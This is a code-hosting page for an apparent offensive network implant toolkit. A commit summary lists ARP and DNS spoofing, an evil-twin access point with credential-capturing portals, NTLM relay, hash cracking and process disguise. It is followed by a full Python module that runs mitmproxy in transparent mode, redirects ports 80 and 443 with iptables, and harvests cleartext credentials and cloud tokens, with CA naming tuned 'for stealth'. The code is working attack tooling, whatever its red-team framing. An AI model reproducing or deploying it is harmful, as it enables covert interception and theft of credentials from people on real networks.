ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
352 lines
12 KiB
Python
352 lines
12 KiB
Python
#!/usr/bin/env python3
|
|
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
|
|
|
|
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
|
|
scripts extract credentials from POST bodies, capture cloud tokens from
|
|
auth headers, and log file metadata from transfers.
|
|
|
|
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
|
|
Check hardware tier before enabling.
|
|
|
|
Custom CA CN can be configured to match target PKI for stealth.
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger("bb.active.mitmproxy_mgr")
|
|
|
|
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
|
|
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
|
|
|
|
|
|
class MitmproxyManager(BaseModule):
|
|
"""mitmproxy transparent proxy with credential and token extraction.
|
|
|
|
OPi Zero 3+ only — check tier before enabling. On lower-tier
|
|
hardware, use bettercap's built-in HTTP proxy instead.
|
|
|
|
Dependencies:
|
|
- mitmproxy installed (pip install mitmproxy)
|
|
- iptables for transparent redirect
|
|
|
|
Configuration:
|
|
proxy_port: Listening port (default: 8080)
|
|
addons_dir: Path to addon scripts
|
|
ca_cn: Custom CA Common Name to match target PKI
|
|
hardware_tier: Device tier for resource checks
|
|
"""
|
|
|
|
name = "mitmproxy_mgr"
|
|
module_type = "active"
|
|
priority = 200
|
|
requires_root = True
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._proc: Optional[subprocess.Popen] = None
|
|
self._monitor_thread: Optional[threading.Thread] = None
|
|
self._proxy_port = config.get("proxy_port", 8080)
|
|
self._proxy_active = False
|
|
self._iface = config.get("interface", "eth0")
|
|
self._ca_cn = config.get("ca_cn", "")
|
|
self._hardware_tier = config.get("hardware_tier", "rpi4")
|
|
self._addons_dir = config.get(
|
|
"addons_dir",
|
|
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
|
|
)
|
|
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
|
|
self._flow_log = config.get(
|
|
"flow_log",
|
|
os.path.join(os.path.expanduser("~"), ".bigbrother", "mitmproxy_flows"),
|
|
)
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
# Tier check
|
|
if self._hardware_tier not in SUPPORTED_TIERS:
|
|
logger.error(
|
|
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
|
|
self._hardware_tier,
|
|
)
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
logger.info("MitmproxyManager started (tier=%s, port=%d)",
|
|
self._hardware_tier, self._proxy_port)
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
if self._proxy_active:
|
|
self.stop_proxy()
|
|
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("MitmproxyManager stopped")
|
|
|
|
def status(self) -> dict:
|
|
proc_alive = self._proc is not None and self._proc.poll() is None
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"proxy_active": self._proxy_active and proc_alive,
|
|
"proxy_pid": self._proc.pid if proc_alive else None,
|
|
"proxy_port": self._proxy_port,
|
|
"hardware_tier": self._hardware_tier,
|
|
"ca_cn": self._ca_cn,
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
if "proxy_port" in config:
|
|
self._proxy_port = config["proxy_port"]
|
|
if "ca_cn" in config:
|
|
self._ca_cn = config["ca_cn"]
|
|
if "hardware_tier" in config:
|
|
self._hardware_tier = config["hardware_tier"]
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def start_proxy(self, port: int = None, addons: list = None) -> bool:
|
|
"""Start mitmproxy in transparent mode with addons.
|
|
|
|
Args:
|
|
port: Override proxy port.
|
|
addons: List of addon script filenames to load from addons_dir.
|
|
|
|
Returns:
|
|
True if proxy was started.
|
|
"""
|
|
if not self._running:
|
|
logger.error("MitmproxyManager not started")
|
|
return False
|
|
|
|
if self._proxy_active and self._proc and self._proc.poll() is None:
|
|
logger.warning("mitmproxy already running")
|
|
return True
|
|
|
|
if port:
|
|
self._proxy_port = port
|
|
|
|
# Build command
|
|
cmd = [
|
|
self._mitmdump_binary,
|
|
"--mode", "transparent",
|
|
"--listen-port", str(self._proxy_port),
|
|
"--set", "connection_strategy=lazy",
|
|
"--set", "stream_large_bodies=1m",
|
|
"-w", self._flow_log,
|
|
]
|
|
|
|
# Custom CA CN for stealth
|
|
if self._ca_cn:
|
|
cmd.extend(["--set", f"ssl_insecure=true"])
|
|
|
|
# Load addon scripts
|
|
addon_scripts = addons or self._get_default_addons()
|
|
for addon in addon_scripts:
|
|
addon_path = os.path.join(self._addons_dir, addon)
|
|
if os.path.isfile(addon_path):
|
|
cmd.extend(["-s", addon_path])
|
|
else:
|
|
logger.warning("Addon script not found: %s", addon_path)
|
|
|
|
# Setup iptables for transparent redirect
|
|
self._setup_iptables()
|
|
|
|
try:
|
|
self._proc = subprocess.Popen(
|
|
cmd,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
)
|
|
time.sleep(3)
|
|
if self._proc.poll() is not None:
|
|
stderr = self._proc.stderr.read().decode(errors="replace")
|
|
logger.error("mitmproxy failed to start: %s", stderr)
|
|
self._teardown_iptables()
|
|
return False
|
|
|
|
self._proxy_active = True
|
|
|
|
# Start output monitoring
|
|
self._monitor_thread = threading.Thread(
|
|
target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor"
|
|
)
|
|
self._monitor_thread.start()
|
|
|
|
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
|
|
return True
|
|
|
|
except FileNotFoundError:
|
|
logger.error("mitmdump not found — install with: pip install mitmproxy")
|
|
self._teardown_iptables()
|
|
return False
|
|
except Exception:
|
|
logger.exception("Failed to start mitmproxy")
|
|
self._teardown_iptables()
|
|
return False
|
|
|
|
def stop_proxy(self) -> bool:
|
|
"""Stop mitmproxy and remove iptables rules.
|
|
|
|
Returns:
|
|
True if proxy was stopped.
|
|
"""
|
|
# Stop process
|
|
if self._proc and self._proc.poll() is None:
|
|
try:
|
|
self._proc.terminate()
|
|
self._proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
self._proc.kill()
|
|
try:
|
|
self._proc.wait(timeout=2)
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
logger.exception("Failed to stop mitmproxy")
|
|
finally:
|
|
self._proc = None
|
|
|
|
# Remove iptables rules
|
|
self._teardown_iptables()
|
|
|
|
self._proxy_active = False
|
|
logger.info("mitmproxy stopped")
|
|
return True
|
|
|
|
def get_flows(self) -> str:
|
|
"""Return path to the mitmproxy flow log file.
|
|
|
|
Returns:
|
|
Path to the binary flow dump file.
|
|
"""
|
|
return self._flow_log
|
|
|
|
# ------------------------------------------------------------------
|
|
# iptables for transparent mode
|
|
# ------------------------------------------------------------------
|
|
|
|
def _setup_iptables(self) -> None:
|
|
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
|
|
rules = [
|
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
|
"--to-port", str(self._proxy_port)],
|
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
|
"--to-port", str(self._proxy_port)],
|
|
]
|
|
for rule in rules:
|
|
try:
|
|
subprocess.run(rule, capture_output=True, timeout=5)
|
|
except Exception:
|
|
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
|
|
|
def _teardown_iptables(self) -> None:
|
|
"""Remove transparent proxy iptables rules."""
|
|
rules = [
|
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
|
"--to-port", str(self._proxy_port)],
|
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
|
"--to-port", str(self._proxy_port)],
|
|
]
|
|
for rule in rules:
|
|
try:
|
|
subprocess.run(rule, capture_output=True, timeout=5)
|
|
except Exception:
|
|
pass
|
|
|
|
# ------------------------------------------------------------------
|
|
# Addon management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _get_default_addons(self) -> list:
|
|
"""Return list of default addon script filenames."""
|
|
defaults = [
|
|
"credential_extractor.py",
|
|
"cloud_token_capture.py",
|
|
"file_metadata_logger.py",
|
|
]
|
|
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
|
|
|
|
# ------------------------------------------------------------------
|
|
# Output monitoring
|
|
# ------------------------------------------------------------------
|
|
|
|
def _monitor_output(self) -> None:
|
|
"""Monitor mitmproxy stderr for credential and token events."""
|
|
if not self._proc:
|
|
return
|
|
|
|
try:
|
|
for line in iter(self._proc.stderr.readline, b""):
|
|
if not self._running:
|
|
break
|
|
decoded = line.decode("utf-8", errors="replace").strip()
|
|
if not decoded:
|
|
continue
|
|
|
|
# Look for credential extraction events from addons
|
|
if "[credential]" in decoded.lower():
|
|
self._handle_credential_output(decoded)
|
|
elif "[cloud_token]" in decoded.lower():
|
|
self._handle_token_output(decoded)
|
|
|
|
if self._proc.poll() is not None:
|
|
break
|
|
except Exception:
|
|
pass
|
|
|
|
def _handle_credential_output(self, line: str) -> None:
|
|
"""Parse credential event from addon output."""
|
|
self.bus.emit(
|
|
"CREDENTIAL_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"target_service": "mitmproxy",
|
|
"credential_type": "cleartext",
|
|
"credential_value": line,
|
|
},
|
|
source_module=self.name,
|
|
)
|
|
|
|
def _handle_token_output(self, line: str) -> None:
|
|
"""Parse cloud token event from addon output."""
|
|
self.bus.emit(
|
|
"CLOUD_TOKEN_FOUND",
|
|
{
|
|
"source_module": self.name,
|
|
"target_service": "mitmproxy",
|
|
"token_data": line,
|
|
},
|
|
source_module=self.name,
|
|
)
|